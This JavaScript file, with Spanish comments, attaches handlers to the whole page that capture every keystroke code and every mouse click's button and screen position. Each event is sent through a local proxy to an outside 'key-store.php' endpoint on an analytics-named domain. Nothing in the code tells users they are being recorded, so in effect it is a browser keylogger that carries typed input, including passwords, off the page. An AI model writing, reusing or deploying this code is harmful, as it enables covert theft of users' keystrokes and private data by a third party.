// Javascript

document.defaultAction = true;


		// Maque AJAX!
		var dm = new DataManager();
		dm.RequestCompleteEvent = SavedComplete; // Que hacercuando accion completasa
		dm.RequestFailedEvent = HandleFailure; // Función tipica


function init() {
	/*var x = document.getElementById('testForm').getElementsByTagName('input');
	for (var i=0;i<x.length;i++) {
		x[i].onclick = setEvents;
		if (x[i].checked)
			x[i].onclick();
	}
	*/
}

function setEvents() {
	/*
	if (this.id == 'default') {
		document.defaultAction = !this.checked;
		return;
	}
	*/
	// var eventHandler = (this.checked) ? detectEvent : empty;
	document['onkeypress'] = detectEvent;
	// document['onmousedown'] = detectMouse;
	// document['onmouseup'] = detectMouse;
	document['onclick'] = detectClick;
	// document['ondblclick'] = detectMouse;
}

function detectEvent(e) {
	var evt = e || window.event;
	// writeData(evt.type);
	// writeData('keyCode:' + evt.keyCode);
	writeData('charCode:' + evt.charCode || evt.keyCode);
			
	return document.defaultAction;
}


function detectClick(e) {
	var evt = e || window.event;
	// writeData(evt.type);
	// writeData('keyCode:' + evt.keyCode);
if (evt.which) 
	writeData('mouseEvent:Click,' + evt.which + ',' + evt.clientX +','+evt.clientY);
else
	writeData('mouseEvent:Click,' + evt.clientX +','+evt.clientY);

	// event.clientX; zxcMseY=event.clientY
	return document.defaultAction;
}

/*
function empty() {
	// nothing
}

*/
var writeroot;

function writeData(msg) {
	// writeroot.innerHTML += msg + '<br />';
	// alert(msg);

	var AjaxUrl = "http://analytics.tempel.es/key-store.php";
	var Query = "?msg="+msg;

	dm.LoadData("/proxy.php?url="+urlencode(AjaxUrl + Query));	
	// Store by ajaX
	// dm.SaveData('http://analytics.tempel.es/key-store.php', 
	//	'msg='+msg	);
	
	
}



// AJAX things
// Not requiered
function SavedComplete() {} 
function SaveComplete(Request) {}
function HandleFailure() {  }

// Enable Events 
setEvents();

